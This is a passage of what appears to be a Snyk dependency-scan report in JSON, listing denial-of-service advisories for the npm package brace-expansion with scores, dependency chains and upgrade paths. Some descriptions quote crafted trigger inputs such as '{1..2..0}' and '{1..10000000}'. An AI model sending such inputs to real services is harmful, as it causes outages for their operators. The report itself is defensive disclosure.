`expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": 